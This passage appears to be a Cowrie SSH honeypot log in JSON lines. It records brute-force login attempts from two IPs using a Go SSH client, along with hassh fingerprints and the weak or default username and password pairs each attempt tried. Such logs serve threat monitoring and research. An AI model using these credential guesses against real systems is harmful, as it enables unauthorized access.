dsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:06.073755Z","src_ip":"91.92.40.171","session":"20037f12ea06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abcd1234","message":"login attempt [root/Abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:06.389800Z","src_ip":"91.92.40.171","session":"20037f12ea06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.5","message":"Connection lost after 5.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:07.595548Z","src_ip":"91.92.42.133","session":"232b1420192c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:07.697108Z","src_ip":"91.92.40.171","session":"20037f12ea06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":38112,"dst_ip":"159.203.135.109","dst_port":22,"session":"a06af176f2d2","protocol":"ssh","message":"New connection: 91.92.42.133:38112 (159.203.135.109:22) [session: a06af176f2d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:08.712929Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:09.571870Z","src_ip":"91.92.42.133","session":"a06af176f2d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:09.574277Z","src_ip":"91.92.42.133","session":"a06af176f2d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"worker","password":"worker","message":"login attempt [worker/worker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:12.213230Z","src_ip":"91.92.42.133","session":"a06af176f2d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":52728,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2825fd31632","protocol":"ssh","message":"New connection: 91.92.40.171:52728 (159.203.135.109:22) [session: a2825fd31632]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:13.726936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:13.730173Z","src_ip":"91.92.40.171","session":"a2825fd31632","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.8","message":"Connection lost after 5.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:14.471032Z","src_ip":"91.92.42.133","session":"a06af176f2d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:14.838630Z","src_ip":"91.92.40.171","session":"a2825fd31632","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin2","password":"abc123","message":"login attempt [admin2/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:16.801757Z","src_ip":"91.92.40.171","session":"a2825fd31632","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":55068,"dst_ip":"159.203.135.109","dst_port":22,"session":"6489f252ccd4","protocol":"ssh","message":"New connection: 91.92.40.171:55068 (159.203.135.109:22) [session: 6489f252ccd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:16.844513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:17.198734Z","src_ip":"91.92.40.171","session":"6489f252ccd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:17.201851Z","src_ip":"91.92.40.171","session":"6489f252ccd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":51248,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f2fbf2f9462","protocol":"ssh","message":"New connection: 91.92.42.133:51248 (159.203.135.109:22) [session: 0f2fbf2f9462]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:17.343808Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:17.499095Z","src_ip":"91.92.42.133","session":"0f2fbf2f9462","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:17.502237Z","src_ip":"91.92.42.133","session":"0f2fbf2f9462","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12qwaszx","message":"login attempt [root/12qwaszx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:17.983304Z","src_ip":"91.92.40.171","session":"6489f252ccd4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wizard","password":"wizard","message":"login attempt [wizard/wizard] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:18.818426Z","src_ip":"91.92.42.133","session":"0f2fbf2f9462","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:18.955470Z","src_ip":"91.92.40.171","session":"a2825fd31632","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:19.134830Z","src_ip":"91.92.40.171","session":"6489f252ccd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:20.331431Z","src_ip":"91.92.42.133","session":"0f2fbf2f9462","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":55140,"dst_ip":"159.203.135.109","dst_port":22,"session":"80fbf18a824a","protocol":"ssh","message":"New connection: 91.92.40.171:55140 (159.203.135.109:22) [session: 80fbf18a824a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:22.659842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:22.669556Z","src_ip":"91.92.40.171","session":"80fbf18a824a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:22.772599Z","src_ip":"91.92.40.171","session":"80fbf18a824a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"000000","message":"login attempt [root/000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:23.152896Z","src_ip":"91.92.40.171","session":"80fbf18a824a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:24.351378Z","src_ip":"91.92.40.171","session":"80fbf18a824a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":59818,"dst_ip":"159.203.135.109","dst_port":22,"session":"d660239c1a77","protocol":"ssh","message":"New connection: 91.92.42.133:59818 (159.203.135.109:22) [session: d660239c1a77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:24.702802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:25.101895Z","src_ip":"91.92.42.133","session":"d660239c1a77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:25.104992Z","src_ip":"91.92.42.133","session":"d660239c1a77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trinity","password":"trinity","message":"login attempt [trinity/trinity] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:26.730134Z","src_ip":"91.92.42.133","session":"d660239c1a77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:28.211949Z","src_ip":"91.92.42.133","session":"d660239c1a77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":42658,"dst_ip":"159.203.135.109","dst_port":22,"session":"99fa1336875e","protocol":"ssh","message":"New connection: 91.92.40.171:42658 (159.203.135.109:22) [session: 99fa1336875e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:28.413305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:28.417881Z","src_ip":"91.92.40.171","session":"99fa1336875e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:28.542523Z","src_ip":"91.92.40.171","session":"99fa1336875e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ducc0x","password":"phuvanduc","message":"login attempt [ducc0x/phuvanduc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:28.889298Z","src_ip":"91.92.40.171","session":"99fa1336875e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:29.989487Z","src_ip":"91.92.40.171","session":"99fa1336875e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":59864,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c673b54290b","protocol":"ssh","message":"New connection: 91.92.42.133:59864 (159.203.135.109:22) [session: 6c673b54290b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:31.671222Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:32.197660Z","src_ip":"91.92.42.133","session":"6c673b54290b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:32.200643Z","src_ip":"91.92.42.133","session":"6c673b54290b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":42716,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ce626558c35","protocol":"ssh","message":"New connection: 91.92.40.171:42716 (159.203.135.109:22) [session: 2ce626558c35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:33.882470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:34.044618Z","src_ip":"91.92.40.171","session":"2ce626558c35","protocol":"ssh"}
